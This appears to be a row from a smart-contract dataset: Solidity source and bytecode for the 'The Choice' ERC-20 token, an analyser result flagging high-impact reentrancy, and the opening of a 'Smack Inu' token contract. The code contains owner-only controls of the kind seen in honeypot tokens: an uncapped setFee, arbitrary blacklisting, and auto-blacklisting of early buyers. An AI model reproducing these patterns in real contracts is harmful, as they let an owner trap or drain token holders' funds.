function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TheChoice is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "The Choice";//
string private constant _symbol = "Choice";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 5;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x188b02c179322015F92A8b662b1Ba66f001020cB);//
address payable private _marketingAddress = payable(0x188b02c179322015F92A8b662b1Ba66f001020cB);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9; //
uint256 public _maxWalletSize = 3000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054a578063dd62ed3e14610560578063ea1644d5146105a6578063f2fde38b146105c657600080fd5b8063a9059cbb146104c5578063bfd79284146104e5578063c3c8cd8014610515578063c492f0461461052a57600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610485578063a2a957bb146104a557600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b64565b6105e6565b005b34801561020a57600080fd5b5060408051808201909152600a8152695468652043686f69636560b01b60208201525b60405161023a9190611c96565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611ab4565b610685565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b5067016345785d8a00005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a73565b61069c565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601654610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611a00565b610705565b34801561036e57600080fd5b506101fc61037d366004611c30565b610750565b34801561038e57600080fd5b506101fc610798565b3480156103a357600080fd5b506102c26103b2366004611a00565b6107e3565b3480156103c357600080fd5b506101fc610805565b3480156103d857600080fd5b506101fc6103e7366004611c4b565b610879565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610293565b34801561042c57600080fd5b506101fc61043b366004611c30565b6108a8565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b5060408051808201909152600681526543686f69636560d01b602082015261022d565b34801561049157600080fd5b506101fc6104a0366004611c4b565b6108f4565b3480156104b157600080fd5b506101fc6104c0366004611c64565b610923565b3480156104d157600080fd5b506102636104e0366004611ab4565b610961565b3480156104f157600080fd5b50610263610500366004611a00565b60116020526000908152604090205460ff1681565b34801561052157600080fd5b506101fc61096e565b34801561053657600080fd5b506101fc610545366004611ae0565b6109c2565b34801561055657600080fd5b506102c260085481565b34801561056c57600080fd5b506102c261057b366004611a3a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b257600080fd5b506101fc6105c1366004611c4b565b610a63565b3480156105d257600080fd5b506101fc6105e1366004611a00565b610a92565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611ceb565b60405180910390fd5b60005b81518110156106815760016011600084848151811061063d5761063d611e32565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067981611e01565b91505061061c565b5050565b6000610692338484610b7c565b5060015b92915050565b60006106a9848484610ca0565b6106fb84336106f685604051806060016040528060288152602001611e74602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125e565b610b7c565b5060019392505050565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161061090611ceb565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260040161061090611ceb565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107cd57506014546001600160a01b0316336001600160a01b0316145b6107d657600080fd5b476107e081611298565b50565b6001600160a01b0381166000908152600260205260408120546106969061131d565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260040161061090611ceb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b815260040161061090611ceb565b601755565b6000546001600160a01b031633146108d25760405162461bcd60e51b815260040161061090611ceb565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091e5760405162461bcd60e51b815260040161061090611ceb565b601955565b6000546001600160a01b0316331461094d5760405162461bcd60e51b815260040161061090611ceb565b600993909355600b91909155600a55600c55565b6000610692338484610ca0565b6013546001600160a01b0316336001600160a01b031614806109a357506014546001600160a01b0316336001600160a01b0316145b6109ac57600080fd5b60006109b7306107e3565b90506107e0816113a1565b6000546001600160a01b031633146109ec5760405162461bcd60e51b815260040161061090611ceb565b60005b82811015610a5d578160056000868685818110610a0e57610a0e611e32565b9050602002016020810190610a239190611a00565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5581611e01565b9150506109ef565b50505050565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b815260040161061090611ceb565b601855565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260040161061090611ceb565b6001600160a01b038116610b215760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bde5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610c3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610d665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b60008111610dc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610610565b6000546001600160a01b03848116911614801590610df457506000546001600160a01b03838116911614155b1561115757601654600160a01b900460ff16610e8d576000546001600160a01b03848116911614610e8d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610610565b601754811115610edf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610610565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2157506001600160a01b03821660009081526011602052604090205460ff16155b610f795760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610610565b600854610f87906002611d91565b4311158015610fa357506016546001600160a01b038481169116145b8015610fbd57506015546001600160a01b03838116911614155b8015610fd257506001600160a01b0382163014155b15610ffb576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611080576018548161101d846107e3565b6110279190611d91565b106110805760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610610565b600061108b306107e3565b6019546017549192508210159082106110a45760175491505b8080156110bb5750601654600160a81b900460ff16155b80156110d557506016546001600160a01b03868116911614155b80156110ea5750601654600160b01b900460ff165b801561110f57506001600160a01b03851660009081526005602052604090205460ff16155b801561113457506001600160a01b03841660009081526005602052604090205460ff16155b1561115457611142826113a1565b4780156111525761115247611298565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119957506001600160a01b03831660009081526005602052604090205460ff165b806111cb57506016546001600160a01b038581169116148015906111cb57506016546001600160a01b03848116911614155b156111d857506000611252565b6016546001600160a01b03858116911614801561120357506015546001600160a01b03848116911614155b1561121557600954600d55600a54600e555b6016546001600160a01b03848116911614801561124057506015546001600160a01b03858116911614155b1561125257600b54600d55600c54600e555b610a5d8484848461152a565b600081848411156112825760405162461bcd60e51b81526004016106109190611c96565b50600061128f8486611dea565b95945050505050565b6013546001600160a01b03166108fc6112b2836002611558565b6040518115909202916000818181858888f193505050501580156112da573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f5836002611558565b6040518115909202916000818181858888f19350505050158015610681573d6000803e3d6000fd5b60006006548211156113845760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610610565b600061138e61159a565b905061139a8382611558565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e9576113e9611e32565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143d57600080fd5b505afa158015611451573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114759190611a1d565b8160018151811061148857611488611e32565b6001600160a01b0392831660209182029290920101526015546114ae9130911684610b7c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e7908590600090869030904290600401611d20565b600060405180830381600087803b15801561150157600080fd5b505af1158015611515573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611537576115376115bd565b6115428484846115eb565b80610a5d57610a5d600f54600d55601054600e55565b600061139a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e2565b60008060006115a7611710565b90925090506115b68282611558565b9250505090565b600d541580156115cd5750600e54155b156115d457565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fd87611750565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162f90876117ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165e90866117ef565b6001600160a01b0389166000908152600260205260409020556116808161184e565b61168a8483611898565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116cf91815260200190565b60405180910390a3505050505050505050565b600081836117035760405162461bcd60e51b81526004016106109190611c96565b50600061128f8486611da9565b600654600090819067016345785d8a000061172b8282611558565b8210156117475750506006549267016345785d8a000092509050565b90939092509050565b600080600080600080600080600061176d8a600d54600e546118bc565b925092509250600061177d61159a565b905060008060006117908e878787611911565b919e509c509a509598509396509194505050505091939550919395565b600061139a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125e565b6000806117fc8385611d91565b90508381101561139a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b600061185861159a565b905060006118668383611961565b3060009081526002602052604090205490915061188390826117ef565b30600090815260026020526040902055505050565b6006546118a590836117ad565b6006556007546118b590826117ef565b6007555050565b60008080806118d660646118d08989611961565b90611558565b905060006118e960646118d08a89611961565b90506000611901826118fb8b866117ad565b906117ad565b9992985090965090945050505050565b60008080806119208886611961565b9050600061192e8887611961565b9050600061193c8888611961565b9050600061194e826118fb86866117ad565b939b939a50919850919650505050505050565b60008261197057506000610696565b600061197c8385611dcb565b9050826119898583611da9565b1461139a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b80356119eb81611e5e565b919050565b803580151581146119eb57600080fd5b600060208284031215611a1257600080fd5b813561139a81611e5e565b600060208284031215611a2f57600080fd5b815161139a81611e5e565b60008060408385031215611a4d57600080fd5b8235611a5881611e5e565b91506020830135611a6881611e5e565b809150509250929050565b600080600060608486031215611a8857600080fd5b8335611a9381611e5e565b92506020840135611aa381611e5e565b929592945050506040919091013590565b60008060408385031215611ac757600080fd5b8235611ad281611e5e565b946020939093013593505050565b600080600060408486031215611af557600080fd5b833567ffffffffffffffff80821115611b0d57600080fd5b818601915086601f830112611b2157600080fd5b813581811115611b3057600080fd5b8760208260051b8501011115611b4557600080fd5b602092830195509350611b5b91860190506119f0565b90509250925092565b60006020808385031215611b7757600080fd5b823567ffffffffffffffff80821115611b8f57600080fd5b818501915085601f830112611ba357600080fd5b813581811115611bb557611bb5611e48565b8060051b604051601f19603f83011681018181108582111715611bda57611bda611e48565b604052828152858101935084860182860187018a1015611bf957600080fd5b600095505b83861015611c2357611c0f816119e0565b855260019590950194938601938601611bfe565b5098975050505050505050565b600060208284031215611c4257600080fd5b61139a826119f0565b600060208284031215611c5d57600080fd5b5035919050565b60008060008060808587031215611c7a57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc357858101830151858201604001528201611ca7565b81811115611cd5576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d705784516001600160a01b031683529383019391830191600101611d4b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da457611da4611e1c565b500190565b600082611dc657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611de557611de5611e1c565b500290565b600082821015611dfc57611dfc611e1c565b500390565b6000600019821415611e1557611e15611e1c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d3feb6039976a122adb27a1815057f36724ca1a7da65b257e413fc8d67a1f8f64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 614 |
0x5599334EF5820C772959C50715Ab8Cc1A0eB0D02 | /**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
// SPDX-License-Identifier: UNLICENSE
/**
https://t.me/smackinu
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SmackInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Smack Inu";
string private constant _symbol = "SMACKINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
emit Transfer(address(_msgSender()), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
